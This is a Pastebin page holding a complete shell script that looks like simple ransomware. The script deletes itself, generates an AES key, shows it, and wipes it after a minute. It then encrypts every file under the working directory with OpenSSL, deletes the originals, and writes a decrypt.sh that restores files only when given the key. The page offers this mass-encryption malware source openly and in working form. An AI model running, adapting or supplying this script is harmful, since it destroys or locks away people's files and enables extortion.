Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- rm -f $0
- if [ ! -d /tmp/689 ]; then
- mkdir /tmp/689
- fi
- openssl genpkey -out /tmp/689/m2.p -algorithm rsa -pkeyopt rsa_keygen_bits:4096
- openssl pkey -in /tmp/689/m2.p -out /tmp/689/m5.p -pubout
- dk=$(openssl rand -hex 16)
- echo $dk | openssl pkeyutl -encrypt -pubin -inkey /tmp/689/m5.p -out /tmp/689/dke.d
- openssl pkeyutl -decrypt -inkey /tmp/689/m2.p -in /tmp/689/dke.d -out /tmp/689/dk.dat
- echo "[+] Your key is = $(cat /tmp/689/dk.dat)"
- echo "[+] Your key is = $(cat /tmp/689/dk.dat)" > /tmp/689/key.txt
- sleep 1m
- rm -rf /tmp/689
- for fn in `find * -type f`; do
- if [ ! -f $fn ]; then
- continue
- fi
- openssl sha256 -r $fn > $fn.6
- iv=$(openssl rand -hex 16)
- echo $iv > $fn.9
- openssl enc -aes-256-cbc -K $dk -iv $iv -in $fn -out $fn.8
- rm $fn
- echo "[+] $fn Success"
- echo "[+] $fn Success" >> log.txt
- done
- cat <<'EOF' > decrypt.sh
- #!/bin/sh
- if [ ! $1 ];then
- echo "Usage : bash $0 key"
- echo "Example : bash $0 29c9705b208c22f87114c1ad47f764fa"
- exit
- fi
- for fe in `find * -type f -iregex '.+\.8'`; do
- fn=$(echo $fe | sed -e 's/\.8$//')
- iv=$(cat $fn.9)
- openssl enc -aes-256-cbc -d -K $1 -iv $iv -in $fn.8 -out $fn
- if openssl sha256 -r $fn | diff -q - $fn.6; then
- rm $fn.6 $fn.9 $fn.8
- else
- echo "$fn: digest mismatch" >&2
- fi
- done
- EOF
- echo "[+] decrypt.sh created...."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement